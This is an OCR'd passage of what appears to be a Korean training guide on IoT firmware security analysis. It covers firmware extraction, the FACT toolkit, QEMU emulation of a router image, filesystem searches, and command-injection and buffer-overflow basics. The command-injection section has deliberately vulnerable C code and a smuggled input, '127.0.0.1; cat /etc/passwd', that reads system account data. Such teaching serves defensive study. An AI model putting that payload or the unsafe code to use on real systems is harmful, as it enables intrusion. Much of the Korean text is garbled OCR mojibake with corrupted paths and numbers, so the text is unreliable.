Target File: /home Jeqst /Desktop/ »/firmware-mod-kit/
MDS5 Checksum: 1419feaf5ca500155cf8ed905967055¢

Signatures: 344
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Scan Time: 2022-08-03 16:40:18

Target File: /home/eqst/Desktop/i/
MD5 Checksum: 1419feaf5cas500155c¢f8

Signatures: 344

DECIMAL HEXADECIMAL DESCRIPTION

uImage header, header size: 64 bytes, header CRC:
OxF1ADD22D, created: 2021-04-26 02:23:44, image size: 2018528 bytes, Data Addres
s: Ox805F2BDO, Entry Point: Ox805F2BDO, data CRC: Ox3EE7EC7, 0S: Linux, CPU: MIP
S, image type: 0S Kernel Image, compression type: none, image name: "linux_3.10"
3145728 0x300000 Squashfs filesystem, little endian, version 4.0, c

ompression:xz, size: 7992542 bytes, 1119 inodes, blocksize: 131072 bytes, create
d: 2022-05-09 07:23:31

Extracting 3145728 bytes of header image at offset © MEA LY NG
Extracting squashfs file system at offset 3145728 O|ZT MEUA2Y FF
11141128

111411 FED MUANAY fmk 3] CI¥E2(0] XY

0

Extracting squashfs files...

Firmware extraction successful!

Firmware parts can be found in '/home/eqst/Desktop/" /firmware-mod-kit/fmk/*

12! 200. extract_firmware.sh HA|X| £

step 4) fmk 5t CIHMEZ|Z O|& = image_parts, logs, rootfs 3 72| C|HEZ|E =0l 7S5t

CjHEa) P
image_parts extract b A|AEl 0|0 X|
logs =l
rootfs FETH OHY AAH
X IFUA|AER2 rootfs Of Z=X|SHCE
5 s

o
Y
=

2 201. extract_firmware.sh &
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10.3.1.4. fact(Firmware Analysis Comparison Toolkit)
fmk @t 20| binwalk 7|82 E O Xt535} 4 =F0[C} fmk £ Ef%'AI*Eé! FENX|TE XYt 2HH fact =

FEO MYUANAEES F O M 248N ZatE SELL 3 27 72 &M &4 7[50] Uen, =8
7|52 & binwalk, cpu architecture, cve lookup, ip and url finder, user and passwd 7t UL} AX| &2 dFHo

2 fact 7t ME3te 24 7St =2 7|0 A 2H 2240,

1. fact AX|
Otz HHOE SO fact & A KXIDHCE

ut M2 M (not root!!)

$ sudo apt update && sudo apt upgrade && sudo apt install git

$ git clone https://github.com/fkie-cad/FACT_core.git ~/FACT_core

$ ~/FACT_core/src/install/pre_install.sh && sudo mkdir /media/data && sudo chown -R $USER /media/data
$ sudo reboot

$ ~/FACT_core/src/install.py

Mx| 22 £ ¥ ul 4%(127.0.0.1:5000)

$ ~/Fact_core/start_all_installed_fact_components

2. fact AHEHH
Step 1) fact ©| Of| @IH[O|X|O|C}. Latest Firm ware Submissions 0= O|F 0| E2A3IGEH HYof S20| oM,

Upload HIES 52/ M22 BII0IE £428 & 4 Lk

lase ~ X Upload @Info~ & Feedback Q¢ Admin~
Latest Firmware Submissions
01000110
o1 I;?ggg;n ; :::I ia?f_:faﬁli',?‘.m.- (ipcamera) gmm:,nmr
01010100
test_Vendor test_Name - 1 (router) ‘generic_carver
)
FIRMWARE ANALYSIS AND COMPARISON TOOL
IPtime testd - . (ipcamera) | uBH-imags |
General FACTs : &
firmware samples 15 test_vendor 55555555 - 1 {ipcamera) mmi
firmware total size 329.20 MiB
IPtime testd - 1.0 (ipcamera)
firmware average size 21.95 MiB 2022.09-20 17:26:15 X
unique included files 3,887 IPtime 444444444444444 - 1.0 (router) | generic_carver ]
unique included files total size 3.51GiB e L £

13 202. fact H|Q! $}H
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=

Step 2) Upload HHES =28 of2iel 0| siYdt= =HO| LIEtCE File R20 24S #ot= HANE
SE3t4, Device Class 2 Vendor = new entry & &2 22

7IUEE SEOHH AHESHE L.

Upload Firmware
File:

| Browse... No file selected.

Device Class:

ipcamera
router
new entry

Vendor:

IPtime
test_Vendor
new En[l’y

Device Name:

Please select device class and vendor

Device Part

v
kernel
bootloader

12l 203. fact Upload 3@

Step 3) ?IOIM ASSHRE 27 72| 7|5S HHSt= S HOILt o= 7|52 M3 = Submit HES F2H

£40| AlRtEICH

default v
() binwalk [J input vectors
cpu architecture [J interesting uris
[J crypto hints [Jip and uri finder
crypto material [J kernel config
cve lookup known vulnerabilities
[J cwe checker [ malware scanner
[J device tree [ printable strings
[J elf analysis [J gemu exec
exploit mitigations software components
[ file system metadata [J source code analysis
[J hardware analysis [J string evaluator
[J hashlookup O tish
[J information leaks users and passwords
[J init systems

A8l 204. fact 7|5 ME 3}H
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3. fact &AM &4 7|

fact 0| Al NS5t 7

oIr

=
[=)

binwalk 7|2 7|s& Zget 27 70|04, IP, URL, ID, PW S1} Z0] St=R Y
o Z

XOtM EO{FMH, sl BTl CVE/CWE £ HAMsF= & ChYet 7|s50] ULk

Is

e

binwalk

M

cpu architecture

FEa T A|ldL|Net AEZD] 24
A

crypto hints

crypto material

cve lookup

cwe checker

CWE 0| A ELF It =0l

ClHIO|A E2|BIEYO 7|& txt, DTS o] AA(AIAEE)E

device tree
74 9| arch/arm/boot/dts EE= arch/armé4/boot/dts ZZ0| =Xf) MAE

elf analysis elf 24

exploit mitigations 48 WX 7| RF ZA

file system metadata | THA|AE HEIH|O|H =&

hardware analysis SLEQIO &4
hashlookup LTl BtojH2[E M E5H7| fI8H circlu SHA| 2to|E 220 FE

information leaks Fofor 38 AlE
init systems N ESIRN RS PN EaL= I - 25 il = PN
input vectors 7tedUes WY =8

interesrting urls £0[|2t URL A&

ip and url finder

kernel vulnerabilities

known vulnerabilities

malware scanner

printable strings

QEMU exec

software compenents

source code analysis

string evaluator

o ox
7Eo EAIE

tlsh

user and passwd

tish(trend micro 0| A AFE 3}
|

=
UNIX, httpd, mosquitto H| 2= DY HM mia =24
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4. fact T2 7|5 44
1. CVE Lookup

CVE Lookup 2 243t 1%t ot= HAoe| HEOM ZHEN SFE CVEE AMoI0 553t s =Lt

OpenSSL 1.0.2u CVE ID cvss v2
score
CVE-1999-0428
CVE-2010-4252
CVE-2000-1254 5.0
CVE-2009-1377 5.0

13 205. fact CVE Lookup

2. ip and url finder

meJof U =R E0f U URL T IP S 223/3}0] HOjZECE

URI hitp://download.iptime.co.kr/plugin/bcm470x
http://download.iptime.co.kr/plugin/14_164/ax8004b
http://www.acme.com/software/micro_httpd/
http:/fwww.iptime.com

IPv4 192.168.255.250
192.168.0.100

192.168.255.1

1% 206. fact ip and rul finder

3. user and passwd

HAUO U SIERTEY A AZZEE FFH5H0 EoEL.

nobody unix entry nobody::99:0:nobody:/:/bin/sh
type unix

root unix entry root::0:0:root::/bin/sh
type unix

18 207. fact user and passwd
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10.3.1.5. QEMU

QEMU = 2E AA 7J[Hto| SLO|HHIO|H/HF 20| Tty HAlE R F= ATE |010|cr VMware & &
SAE HAREQ ZAAE JIMOE 2RO ZAE HAFEEIL of AAE

CQFECE CHE 7Ha Al O Z2f|0[E{ 7} Ot QEMU E AM83te O|fF& TITH Al FESHALE %7HE_I Hellofoll=
Kernel Off CHSF HE7F ZEE|O{QUX| Qo X 2M S St HAOOf Y52 CPU 2F Kernel 2 X|°JsH 301 0F
OtCh. QEMU & CPU Architecture 2t Kernel & X|E3HA HHAIZAZ &= A0 QEMU E 0|85 7t &E 2
T otet.

1. QEMU &%|
QEMU 9| HX|& ‘sudo apt-get install gemu’ BHO{E Sofi ZHTHsHA A X[& 5= ULt
root@ubuntu: /home fubuntu# apt-get install gemu
Reading package lists... Done
Building dependency tree
Reading state information... Done

gemu is already the newest version (1:2.11+dfsg-1ubuntu7.40).

The following packages were automatically installed and are no longer required:
linux-hwe-5.4-headers-5.4.08-42 linux-hwe-5.4-headers-5.4.0-87

Use 'sudo apt autoremove' to remove them.

@ upgraded, ® newly installed, ® to remove and 88 not upgraded.

&l 208. QEMU %]

2. QEMU #H'E2 % o|O|X| CI2EE

QEMU T& Al EHI0{Q| CPU Architecture, HIO|E X% 2Al70| M2} AFESH= debian O|O|X|7} EatXICt

MIPS O Z2 F o el O] E2H Little Endian, X %2M Big Endian O|C}. ARM 9| A CHEE Little
X

Endian Ol A] S2t5H7| M 20f H|H| 2t O|0|X| = Little Endian 2t X| &L},
CPU HEO|E X% HiAl Debian 0|0|X| &&
) Big Endian mips
mips ) . .
Little Endian mipsel
arm Little Endian armel

MM Heo 25 20lst = HYO| Of7|ElHo| &= O|0|X|E Ct2EHoF QEMU & Adste ZH0| 5%t
CtAH = tLO|CH HY O] ME = binwalk £ 0| 23810 &l A =olet = QIC}

root@ubuntu: /home/ubuntu/Downloads# binwalk

DECIMAL HEXADECIMAL DESCRIPTION

1024 > uImage header, header size: 64 bytes, header CRC: 0x811646A, created: 2015-87
-28 06:19:03, image size: 1639980 bytes, Data Address: 0x8000, Entry Point: 0x8000, data CRC: OxADF9083B6, O
S: Linux, |CPU: ARM| image type: 0S Kernel Image, compression type: none, image name: "Linux-2.6.31.8"

14072 OX36F8 gzip compressed data, maximum compression, from Unix, last modified: 2015-07-
28 06:19:03

424906 Ox67BCA MySQL MISAM index file Version 11

1783936 0x1A0000 Squashfs filesystem, |little endian, non-standard signature, version 3.0, size
: 2602568 bytes, 616 inodes, blocksize: 65536 bytes, created: 2017-088-16 08:39:58

1% 200. Bo0] H& 2ol

gholeh Heof 20| &= onfX|et HES Ch2ES A O|Ch. ARM & A8t U2, little endian H4=
M85t 2B 2 armel 0| A 2HH 0| &= LS CH20F Adiotot

URL : https://people.debian.org/~aurel32/gemu/armel/

oY BEE2 4122 AOLN 242 S 2 4 AL,
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$ wget https://people.debian.org/~aurel32/qgemu/armel/debian_wheezy_armel_standard.qcow?2
$ wget https://people.debian.org/~aurel32/gemu/armel/initrd.img-3.2.0-4-versatile
$ wget https://people.debian.org/~aurel32/qgemu/armel/vmlinuz-3.2.0-4-versatile

$ gemu-system-arm -M versatilepb -kernel vmlinuz-3.2.0-4-versatile -initrd initrd.img-3.2.0-4-versatile -hda

debian_wheezy_armel_standard.qcow?2 -append "root=/dev/sdal" -redir tcp:2280::80 -redir tcp:2222::22

+) MIPS O Z2 CHREs Tnt A% By2 ofdjet 2

// mips (big endian)

$ wget https://people.debian.org/~aurel32/gemu/mips/debian_wheezy_mips_standard.qcow?2

$ wget https://people.debian.org/~aurel32/gemu/mips/vmlinux-3.2.0-4-4kc-malta

$ gemu-system-mips -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mips_standard.qcow?2
-append "root=/dev/sdal -redir tcp:2280::80 -redir tcp:2222::22"

// mipsel (little endian)

$ wget https://people.debian.org/~aurel32/gemu/mipsel/debian_wheezy_mipsel_standard.qcow?2

$ wget https://people.debian.org/~aurel32/gemu/mipsel/vmlinux-3.2.0-4-4kc-malta

$ gemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.
qgcow?2 -append "root=/dev/sdal -redir tcp:2280::80 -redir tcp:2222::22"

QEMU £ #&8te 49| HHO| =0t -redir: invalid option' 0f2{7} 2Mgt ZL2 SME -nic EE -netdev 2
CHA|SHO] A3l BhCf,

-redir M -nic E££ -netdev M
-nic user,hostfwd=tcp::2222-:22
-redir tcp:2222::22 EE
-netdev user, id=ethernet.0,hostfwd=tcp::2222-:22

25 EQST



QEMU 2 733t debian O|0|X|Q] 7|2 A ™1} WA E £ root/root O|H, +5 A| S 2|CIO|HME X EZ ssh,
scp AF20| 7ts% AE 21T = QUL ssh @ scp = O|F HYO TtAANAES &7|=0 AFEEICEH

ubuntu@ubuntu:~/ top/gemu-armels ssh -p 2222 root@localhost

The authenticity of host '[localhost]:2222 ([127.0.0.1]:2222)' can't be established.
ECDSA key fingerprint is SHA256:SpVkxmsPuQpoW5jhyvKkIL+4DK4qJzxcryW3dmL11X0.

Are you sure you want to continue connecting (yes/no)? yes

Warning: Permanently added '[localhost]:2222' (ECDSA) to the list of known hosts.
root@localhost's password:

Linux debian-armel 3.2.0-4-versatile #1 Debian 3.2.51-1 armv5tejl

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in jfusr/sharefdoc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

Last login: Mon Oct 17 ©8:23:27 2022 from 10.8.2.2
root@debian-armel:~# I

& 210. ssh & 2ol

3. QEMU 1+ &
QEMU £ 0|83t O o= olEZ ot7| s EROQ DLAIAREZ FEotD, =3 MUAAHES
QEMU O|O|X|0f| &7|= ZHH0| HQ3SICH HA, binwalk £ 0| 23810 e 0jo| ItUA|AHES FETICE

ubuntu@ubuntu:~/DownloadsS binwalk -e
'DECIMAL HEXADECIMAL DESCRIPTION

'1024 0x400 ulmage header, header siz 64 bytes, header CRC: OxB811646A, created: 2015-07
-28 06:19:03, image size: 1639980 bytes, Data Address: ©x8000, Entry Point: 0x8000, data CRC: 0xADF903B6, O
S: Linux, CPU: ARM, image type: 05 Kernel Image, compression type: none, image name: "Linux-2.6.31.8"

14072 0Xx36F8 gzip compressed data, maximum compression, from Unix, last modified: 2815-87-
28 06:19:03

424906 Ox67BCA MySQL MISAM index file Version 11

‘1703936 0x1A0000 Squashfs filesystem, little endian, non-standard signature, version 3.0, size
: 2602568 bytes, 616 inodes, blocksize: 65536 bytes, created: 2017-08-16 08:39:58

ubuntu@ubuntu:~/

>
>
oz
o
e
i
rin
e
o

ubuntu@ubuntu:~
1A00600.squashf
ubuntu@ubuntu:

.bin.extracted$
scp P 2222 Squashfg romt tar rcmt@localhcﬂt Jroot
root@localhost's password:
squashfs-root.tar

100% 8160KB 4.4MB/s 00:01

QEMU Off F&£35t0] MRS squashfs-roottar 2 Y=Z s{ASt, default EH W LSS tmp ELE
SAFStCE Ol = root CIAMEZ|Z 21AIA|7]|7] £{3H chroot H
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root@debian-armel:~# ls
squashfs-root.tar
root@debian-armel:~# tar xvf squashfs-root.tar

root@debian-armel:~# cd squashfs-root
root@debian-armel:~/squashfs-root# cp -r default/* ./tmp/
roit@debian—armel:~}5quashf5—rDDt# chroot ./ ./bin/sh

#

a8 214, =6 U root CIHEZ| E7H

i HAUO= S77IC HAOOIH, cgi & 0|8310] & MHIE L0 AV ME0 & MY ddS 2ot 23
T50| ERICE QEMU 2 o 20| ot A} ot= HRAoof K2 &d #50] CHE = A2, 845t %} o=

oo 8=t 70| = FIHHO| g 70| HRstC}
mkdir -p /home/httpd/192.168.0.1/sess-bin
cp -r cgibin/* fhome/httpd/192.168.0.1/sess-binf

mkdir -p fbin/login-cgi
cp -r cgibin/* fbin/login-cgi
vi fdev/null

a3 215. ¥ M HdAS st 23 273

Ol AMH ddS S QEMU = o] =2{0[E o EYolef 2| X} HO|X| HZ0| 7+ttt

&« e U [ localhost w Y =

g wiled Lol ol
ipT IME  wom

Login [0 |admin
Passward

Flease input string below in lower casze,

e

Refrash

Login IJ LA}

a3 216. 2| Xt HO|X| HZ

QEMU E O|835t0 F&StaAt St
Helol= QEMU & 0|23t o E2f0
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.|

A
~

Init &

x

8 ¥4 5

=
-y

10.3.2. File System Of|A{ 4

10.3.2.1
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fsquashfs-rootS grep
-inr admin
<wsse
:Username> </wsse:Username=

<tt:Uri>rtsp://192.168
.1.200:554/user= _password=t1Jwpbo6 channel=1 stream=0.sdp?real stream</tt:U

<tt: Settings=
</tt: Settings=>
<INI_GROUP_ MAME > </INI_GROUP_NAME_

<INI_SYS_USER_ </INI_SYS_USER_

o
=
BHof 4y
_ Hxf ClAEZ| O2Hof passwd & E@ste HHAO| UCHH
find . -name "*passwd*"
#y

/squashfs-root$ sudo
find . -name "*passwd*"
. [opt/sav/Config/passwd
.Jusr/www/base/images/login_str_passwd.kr.gif
.fusr/www/base/images/login_str_ passwd.en.gif
. fetc/passwd

a3 219. passwd ot %7

Hof FE
find . -name "rctd” | ®%H CIZE2] Of2fof rend B Epfos TAO| ULk A

/squashfs-root$ sudo

find . -name "rc*.d"
Jetc/rcs.d

O3 220. re*.d THY %)

init TH20] B2 2|52 20| 7t U AAlA7|= ZE0|H

HA Ad
find . -name “*init*" SiXf ClHE2| OF2HOf init 2 ZeHdh= TUO0| QUCHH ZAH
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find . -name "*init*"
Jopt/app/lua/init.xml
.Jopt/fapp/etc/init.xml
.fopt/app/bin/netinit
.finit

.fetc/preinit
Jetc/preinit/e3_1init audio

fetc/preinit/13 init peripher
.fetc/preinit/07_1init video
.fetc/preinit/@3_1init_rtl8188eus
.jetc/preinit/03_1init_gpio
.fetc/preinit/03_init_sdhc
.fetc/inittab

Jfetc/init.d
fetc/init.d/initdevnod
./bin/init

a2 221. init THY 37|

*cgi Tt B2 HYO7t 55t B MH| A0 Ot A2 IEO|CH

—

|/squashfs-root$ sudo

Fof 4

find . -name "*.cgi" oA CIME2| Of2H0] cgi & Z2ES

find . -name "*.cgil”
Jfusr/www/captcha.cgl
Jfusr/www/cgl/iux _set.cgi
Jfusr/www/cgil/firmware.cgi

Jfusr/www/cgil/iux get.cgi
Jfusr/www/main.cgi
Jfusr/www/nav.cgi
Jfusr/www/login_handler.cgi
Llusc fwww /login. cai

a8 222. cgi THY #7|
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10.3.3. AlSHI}QUO| A WA 7SS F| AN
OIE x86-64 O B X|AE X ofdEa|, H2al 1x0 A2 JHR D o, 2lH 4, dAZ 29 HHO|
QUCHe UCHs FAISHO| ZHAH AL A1 x86-64 orawwon Chh ot ZHo| e F2 EQST LMS(Pwnable

=
1) o 9|$ Jle BNE S M@ss0| Wastth T8, T 0|2 XA0| gis FLUE HopYel EX
7 H

% 10T 71712l EM4 B2, Clade] 80| 25| G20| ChELo] UM LS SEHH EL AnGASS
sB|uo| HBE0| X LT matA AMTU| y|Ho| HREK| LUTHE HASO TAME AT
2B7|H0| HBE A x86-64 9 A 7| WS 0|R3{0] 23] TS ICE
1. CISC 2} RISC
ZFH CPU = 3 CISC 2F RISC = FHEEICE A0S CPU & F Z2MAQ FEES TS| A0 AtEst
GIXISH, x86-64 9F ARM, MIPS of HO[Z Ul mB17| SIsHA| 5 2 Aol HoHE Baps) 2ot § Bat At
Loe oE B0 NS ZE OFHHZ, Bojel Zo[7t HMEo|C, Tfaty
(CClifnplex | mHols A waskstiol st 248 EAIS Hedl 25 2UE WY 4
QIQICE BIX|B OlafSt Jpuie 20| BHOIS st AlZto| 2af Za|n Ha
et Computer A@2r0| BiCHE CHYO| ERJSHCH 01, AMD 7} CHE 0|t
U= 2|28olm B0 MO| UH LO|S ZE= e oF|HKCE watA,
RIsC | st=gioje) Rxvt ZICHRID, WE A%o| Jhsehn, mo|matel 20| chs
(Reduced  Instruction | x0) qict. spxiat Mstel @atojer TRE Waof A Lol MRo| T 37|7}
Set Computer) £
Xl = S 0| EXYSEE ARM, MIPS 7t CHE X O|C},
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HIAE+= Ubuntu 18.04.6 LTS H{TOIA RIAZ|ACH A Z Q% QEMU, ARM/MIPS, C|H 7 (gdb-multiarch),
' t

A
=0 &
SAZ 20| ER2% pwntools 5= 2X[BOFSHH, 2] B2 CHSak ZL.

sudo apt install python3 python3-pip -y
sudo python3 -m pip install --upgrade pip

sudo pip3 install pwntools

sudo apt install gemu gemu-system-arm gemu-system-mips gemu-system-x86 -y

sudo apt install gemu-utils gemu-user-static -y

sudo apt install gcc-multilib-arm-linux-gnueabi -y
sudo apt install gcc-multilib-arm-linux-gnueabihf -y
sudo apt install gcc-multilib-mips-linux-gnu -y
sudo apt install gcc-multilib-mipsel-linux-gnu -y
sudo apt install linux-libc-dev-mips-cross -y

sudo apt install libc6-mips-cross -y

sudo apt install libc6-dev-mips-cross -y

sudo apt install binutils-mips-linux-gnu -y

sudo apt install gcc-mips-linux-gnu -y

sudo apt install g++-mips-linux-gnu -y

sudo apt install gdb-multiarch -y
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10.3.3.1. "= 0{/C|HZ 10| X] 2t
1.71

WERH= WS THAOA HO|E 2loh WEA AE, 25 = 24, LHES fle Y S e
ClHZ HO|X|E dd35t0f AH8SH= d7t BCH SHAIR, siE 7I5S MASHA| g HiZY 32 S4X= 0l
ofgste T R, P A AL T 52 40| 7ksotih Eot HE HAOAM oMol FHe=z
M OlE MY =St 4= A2 E, TICH A| 0l0| H QST

2. dM 7| E

717] W O HO|X| EX FFE Ist7| *ISHME, T2 ALESts 7|sat 2EE g AEY S5 HMSH0
=M TIsoF otct M 7| E oAl Ct2at 2Tt
g E= dM 7|YE 7Is
system() CHZES 2ot 3 A4
debug, elgjrm & ClH O 23 7=
socket() 4 &2 Sof 22| & R Es
command, cmd & T A A AHESH= T E m2t0|H
dev, test i EEAGIM AR mpEt0|Y, =M &
admin CIHZ Al ZHUX7F AHESH= AlE, TO[X| 0|8 &
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10.3.3.2. Command Injection
1.718

ALERHOI A Y=g ot
WSt FFolCt 3

=E/MH B2 S2Of T|s7t

19
g
o

o AXt= AbEE W, Y tof thet ASO| DISStAL EXYSHA| B0t

= 2
2dotE SARIE MYt BN E S MEHS| Mojds =S50, =
e

by

12
T
<

Ot2fel E+= Command Injection O] HMst o~ Ql= F ot ah=~0|LC}.

T Floret a4
system()
C/C++ execvp()
ShellExecute()

2. system() &

system() 2= Command Injection O] & 4+ U= EHQ &=0[C} system() = AXZ HHAZ
ZZM20| 0|52 &0t 1 TEMAE ESH:= e0|Ct A ZSIH AXZE B Z2XAEE dHAIF7|= Aot
=% el 4mEH O 2 ojsiE = UAS Ao|ct

3. System() &+ % 2|

a
5 | int system{const char * cmdstring) {
6 pid_t pid; int status;
7 if{cmdstring == NULL}{
8 return (1);
9 }
1@ if{{pid = fork())<@)
11 status = -1;
12 ¥
13 elsd if{pid = @)1
14 execl("s/bin/sh", "sh", "-c", cmdstring, (char *)@);
15 T s
15 ¥
17 else{
18 while(waitpid{pid, &status, @) < @)
19 f
28 if{errno != EINTER){
21 status = -1;
22 break;
23 3

3 223. system &+ &A AE

Le)
n>
o

system() &£ fork(), exec(), wait) M ZtX| &4+ZE 0|83 EICt system() &= QXIE cmdstring 2
8h=C} cmdstring O] NULL O[2tH |2 &7} SR NULL O| OfL|2tH, fork()87t ASMEICt fork()7t

dHo=z KA Z2MAE WESHH pid=0 2 Bretottt. 0|20 fork()7F A&t XM ZE2MAE exec)®E
0|83t0 /bin/sh & AIMA|Z] LEHEL2 cmdstring 2 HBAIZICE wait() &= exec()7t SREICHH system()
=& TEAMZCL o7|M F238t 222 exec()?t /bin/sh & HHA|ZICH= Zo|Ct HES HZ 20| sh O
He|H SHXIE JfSt= ZE A7t 7hssiRICH

I.

n> ot o oi

|28 Fo|ct.

= A
9 exec()2h? MH 2 exec()2hs T4 2UCH execv() 2t execl() E4+E EE A exec() et Y=L} exec() B4 QXLR 2H2 Q[X|0f Qs AMd MU S
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4. H8
M&OoZ A8Y Z2IYL C AR HHEAOD, ABRIOIZ| 1P S U2 WOt system() E4+Z 01820} ping
FHOE HHA[ZICE
% | int main()} {
1@
11 char ip[IPlen];
12 char cmd[CMD1len];
13
14 printf({"IF I H
15 fgets{ip, IPlen, stdin);
15 printf({"IF result %=4n", ip);
17 strcpy(cmd, "ping -c 1 }JI
15 sLrCaclomad,
19 printf({"Execute: %s'n", cmd);
208
i ]
22
23 return @;
24 |}

got Z2O-E HAAMFHLED fgets() = AEXOA ping HAEE & 1P & YE =L Ol 1P +
Hote YOS Z0| YYstH oid FZo7t JAECt ofefel ArElE 28 FZHOo7F HdAE|0f Jetc/passwd
857t &

$ ./CI_Test
: 127.0.0.1
IP result : 127.0.0.1

Execute: ping -c 1 127.0.0.1

PING 127.0.0.1 (127.0.0.1) : $ ./CI_Test
64 bytes from 127.0.0.1: i(IP : 127.0.0.1; cat /etc/passwd
IP result : 127.0.0.1; cat /etc/passwd
- 127.0.0.1 ping statist
1 packets transmitted, 1 rtExecute: ping -c 1 127.0.0.1; cat /etc/passwd
rtt min/avg/max/mdev = 0.0
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.030 ms

- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time Oms
rtt min/avq/max/mdev = 0.030/0.030/0.030/0.000 ms
root:x:0:0:root:/root:/bin/bash
daemon: :1:daemon: /usr/sbin: /usr/sbin/nologin
bin:x:2: Z:bln /bln /usr/sb\n/nolog\n

:l"'—él 225. Command Injection Test
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5. Fofd zITH WY
ClAm A2 IDA § O[&3HA Command Injection FHO| 2ot 25 ZEE ZMoiCt g+ dMES Sl
system() &7t AL £l = B2 TSt system() S5 EH G242 DAL
4 = alloca(256LL);
dest = (char *)&v7;
printf("IP "y
fgets(s, 256, bss start);
rintT| 1P result : ®mswn, S);
v5 = dest;
#(_QUORD *)dest = @x20632D20676E6970LL;
strcpy(vs + 8, "1 ");
strcat(dest, =);
printf("Fxecute: %s\n", dest);
system(dest);
return 9;
i
a7 226. IDA ClELY I E
ClHDY =l IEE EH, system() £ dest & QKR BH=LC} dest £ strcat() &4+S 0[8310] 7|E9| dest 2t
s 7t XTI ZLOIC} dest £ 0x20632D20676E6970 (0| MEEOf QUL s A S EXNEZ HHRO EH
"ping -c 1 "O[Ct. s = fgets() &+E O[30 AFEAZRE LHY2 ZLO|Ch M2k, Command Injection Of
AEEl= ;, && 2| At Y HE LG 540| 7h55tC.
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10.3.3.3. Buffer Overflow
1. 718

Buffer Overflow & 3| Stack YA A] LlSt= Stack Buffer Overflow 2t Heap G| A L4 3tE= Heap Buffer
Overflow 2 LIEIC FfFHO| SUSHEH JWLX7L o =51X| @i HEE YE HoE &+ U0, Z2M2 ZH
TE, ¥4 BY A 50| Jtssict. =2 Buffer Overflow 7t 24st= #of atx0t O|F Hetg = s HE
g= Chedt 2ok o AY o8 AEStHete Yy e A7|E Hmel AV|ECE A & 4R FAEO
e = A2 Folsfof Bt
FoF g AY &=
strepy() strncpy()
strcat() strncat()
gets() fgets()
scanf(), sscanf() fscanf()
vscanf(), vsscanf() vfscanf()
sprintf() snprintf()
vsprintf() vsnprintf()

10.3.3.3.1. ARM B|X|AE U oA

Buffer Overflow A 30| A FAE A0t

THE 7O 420t

1. ARM &|X|AE

ARM 2 & 37 7HQ| X |AEZt EXSIHY, 0] & FMEENAME= r0 ~ r15 2F CPSR 2

AFESHLE 10 ~ r15 7 X[ 16 7H2| B|X|AE & HO[HE MEot=H AHEEID, CPSR 2X[AH

AAZZQl0| E3t 7HEES x86-64 2F ARM, MIPS ZtQ| X}O|0f

el BXIAEE

17 7
= JE MES I8l

A& EICt.
2f| X| A E AHE 54
o HE YA AH, & 2F Al QX MY, &= T2 Al 2[HU
M
r1~r3 HE YA AH S+ 2F Al QAR
r4 ~r12 HE 2| X|AH
r13 (SP, Stack Pointer) AEHO| OFX|SF FAE N
r14 (LR, Link Register) gt 2 E A K|S0t FAE NE
r15 (PC, Program Counter) FAsoF & HHO FAE MY
CPSR (Current Program Status Register) oIXf =2 MOl MEfE ME
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2. ARM O{MdlE2]

ARM 2 load/store BH2 S HZ2|0f XMTE 22 HXAHE 7P AHLL XA 2 H22[of
MG HX[AH7Z| A4S TSI x86-64 OlM= AAHQ oiZ2|of MEE 2t 7he| ZF ALto
7tSSHUX|TH, ARM 2| B B K| A28 HAH0] ZHSSIDt AHFE AL El= HHOS2 ofzfet Zrt.
FHo 493
push {r7} r7 O MEE 22 A0 Y
pop {7, pc} AEH ORX|EF 220 £ 442 42 (7, pc O M%
Idr r1, [r2, #8] H22[2f r2+8 FA00 M E HOHE r o %
strr3, [r11, #-8] r3 9| g2 HE22|Q r11-8 FA0 MY
add r0, r1, r2 r1, r2 22 G510 r0 off X%
sub sp, sp, #10 spll U4S 1084
mul r3, r2, r3 r2, r3 4= =5t 30| M
and r0, r1, r2 r1, r2 & and 45101 10 Off M
orr r0, r0, r1 r0, r1 & or A4S r0 Off M Z
eor r1, r1, r2 r1, r2 & xor ALH5L0] r1 Off H%
cmp 10, r1 r0, r1 £ H|135t0] A0S CPSR 2| Flag off 278
mov r0, #10 roof 10 M%&
b addr addr T2 27|
bl addr addr 2 £7|5tH o1 4 T FL2E Ir o] HF
scv 0, scv 1 A" Z
10.3.3.3.2. MIPS E|X|AE 5! o{ =2
1. MIPS 2| X| 2 E
MIPS = Z} BIX|AH H20f| OjE &= 2 X|AE O|F0| EXfEICt O] MM = XA 88 A Zot=
T AL E YX|AH 0|2 AHETtC}
ZIX|AE 0| HIX|AE HD AL £4
$zero $0 e o
$at $1 YAl K|~ H
$v0 ~ $v1 $2 ~ $3 otol 218 UMY
$a0 ~ $a3 $4 ~ $7 22 C&IXE A&
$t0 ~ $t7 $8 ~ $15 M NESU2E ALE
$s0 ~ $s7 $16 ~ $23 ¢ NESULE A8
$t8 ~ $t9 $24 ~ $25 M MNESU2E ALE
$k0 ~ $k1 $26 ~ $27 72 & X AH
$gp $28 M ZIE MY
$sp $29 AE A NY
$fp $30 =2 ZOH MF
$ra $31 2lE =& MY
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2. MIPS o dl =g

MIPS &= R, I, J 2 3 7tX| BHO| EfR0| EXYBICE R EFR2 &k G0, | EFRY2 =410 ZEHE Aitof,
J B2 FEZo| =2 ALESCt o HOIM 2 = UAXO0|, B Fo| i 7t 22 A2 b9 AitE
O|0|BtC}, add AAH2 BX|AE 7HO| 2H0f|, addi G142 BRI AE Q A=0| 2Hof| AL EICtH
FHo 493
lw $t0, 16($s0) HE222| $s0 + 16 F200 MEE 2= $t0 0 MY
li $t0, 24 $t0 Of| 24 A&
sw $t3, 32($s7) $13 Ol MY E U= HE2[Of $s1 + 32 40 MF
jr $ra $ra O] MY a2 H=
jal printf ChE 838 F2E $ra o ML printf)2 HZ
e B8 FAE $ra O MESHL 90 MYE FLE2 H=E
Jalr 363 1 2ol o] X|e wa
add $t0, $s1, $s2 $s1 + $s2 US $t0 O M
addi $t0, $t2, 32 $t2 + 32 W= $t0 0 ME
mult $t1, $t2 $t1 * $t2 2= $t1 o ME
and $t0, $t1, $t2 $t1 and $t2 2| 2f2 $t0 Off M
or $t1, $t2, $t3 $t2 or $t3 2| Zr= $t1 0| HF
slt $t1, $s1, $t3 $s1 < $t3 O™ $t1 01 1 M
